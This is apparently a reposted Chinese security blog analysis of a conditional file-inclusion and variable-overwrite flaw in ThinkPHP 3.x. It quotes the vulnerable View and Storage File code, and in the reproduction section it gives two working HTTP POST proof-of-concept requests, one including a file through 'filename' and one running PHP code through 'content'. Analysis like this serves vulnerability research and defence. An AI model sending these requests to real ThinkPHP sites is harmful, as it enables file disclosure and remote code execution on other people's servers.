码迷,mamicode.com
首页 > Web开发 > 详细

thinkphp 3.x下的任意文件包含(有条件)分析

时间:2018-04-28 14:18:52      阅读:1279      评论:0      收藏:0      [点我收藏+]

标签:.com   文件   技术   test   dex   clu   span   extra   独立   

漏洞原理

实现自己的模版引擎不当,在模版渲染的情况下存在任意变量覆盖漏洞。。

 

漏洞详情

漏洞位置1

ThinkPHP/Library/Think/View.class.php

需要修改配置文件 指定TMPL_ENGINE_TYPE为php

 if(‘php‘ == strtolower(C(‘TMPL_ENGINE_TYPE‘))) { // 使用PHP原生模板
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($content)?include $templateFile:eval(‘?>‘.$content);

 

漏洞位置2

ThinkPHP/Library/Think/Storage/Driver/File.class.php

	/**
     * 加载文件
     * @access public
     * @param string $filename  文件名
     * @param array $vars  传入变量
     * @return void        
     */
    public function load($filename,$vars=null){
        if(!is_null($vars))
            extract($vars, EXTR_OVERWRITE);
        include $filename;
    }

 

 

漏洞复现

 

漏洞服务端代码:

public function test(){
   $this->assign($_POST);
    echo $this->fetch();
}

 

 

漏洞验证请求:对于漏洞位置2

 

POST /onethink/index.php?s=/Home/Article/test HTTP/1.1
Host: 192.168.1.24
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

filename=license.txt

 

技术分享图片

 

 

调用堆栈

技术分享图片

 

 

漏洞验证请求:对于漏洞位置1 ,可以命令执行

POST /onethink/index.php?s=/Home/Article/test HTTP/1.1
Host: 192.168.1.24
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

content=<?php phpinfo();

 

技术分享图片

 

 

调用堆栈

技术分享图片

 

参考:

https://mp.weixin.qq.com/s/IuKjTS0Q0VVzuoeSwqZ5Gw

 

thinkphp 3.x下的任意文件包含(有条件)分析

标签:.com   文件   技术   test   dex   clu   span   extra   独立   

原文地址:https://www.cnblogs.com/icez/p/thinkphp_3_x_file_include.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!